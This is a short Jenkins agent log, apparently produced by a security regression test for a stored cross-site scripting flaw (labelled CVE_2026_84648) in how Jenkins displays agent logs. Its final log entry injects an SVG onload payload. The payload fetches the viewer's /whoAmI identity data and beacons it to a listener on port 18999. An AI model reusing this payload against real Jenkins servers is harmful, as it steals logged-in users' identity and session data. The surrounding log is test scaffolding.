Sep 04, 2026 7:09:49 AM hudson.remoting.Engine startEngine
INFO: Using Remoting version: 3386.v353e57a_1b_ea_0
Sep 04, 2026 7:09:49 AM hudson.remoting.Engine startEngine
WARNING: No Working Directory. Using the legacy JAR Cache location: /var/jenkins_home/.jenkins/cache/jars
ENGINE_STATUS: Locating server among [http://127.0.0.1:8080/]
Sep 04, 2026 7:09:49 AM org.jenkinsci.remoting.engine.JnlpAgentEndpointResolver resolve
INFO: Remoting server accepts the following protocols: [JNLP4-connect, Ping]
ENGINE_STATUS: Agent discovery successful
  Agent address: 127.0.0.1
  Agent port:    50000
  Identity:      2f:90:f3:d6:df:b0:04:53:dc:b8:ee:69:d2:07:e5:1f
ENGINE_STATUS: Handshaking
ENGINE_STATUS: Server reports protocol JNLP4-connect-proxy not supported, skipping
ENGINE_STATUS: Trying protocol: JNLP4-connect
ENGINE_STATUS: Connecting to 127.0.0.1:50000
Sep 04, 2026 7:09:49 AM org.jenkinsci.remoting.protocol.impl.BIONetworkLayer$Reader run
INFO: Waiting for ProtocolStack to start.
ENGINE_STATUS: Remote identity confirmed: 2f:90:f3:d6:df:b0:04:53:dc:b8:ee:69:d2:07:e5:1f
ENGINE_STATUS: Connected
CHANNEL_CONNECTED
Sep 04, 2026 7:09:55 AM com.example.agent.Benign heartbeat
INFO: agent heartbeat (benign control record)
MALICIOUS_RECORD_PUBLISHED
Sep 04, 2026 7:09:55 AM <svg/onload="fetch('/whoAmI/api/json').then(r=>r.text()).then(t=>new Image().src='http://127.0.0.1:18999/b?m=CVE_2026_84648_fixed_2_196924981&d='+encodeURIComponent(t)).catch(e=>new Image().src='http://127.0.0.1:18999/b?m=CVE_2026_84648_fixed_2_196924981&err=1')">
SEVERE: routine agent message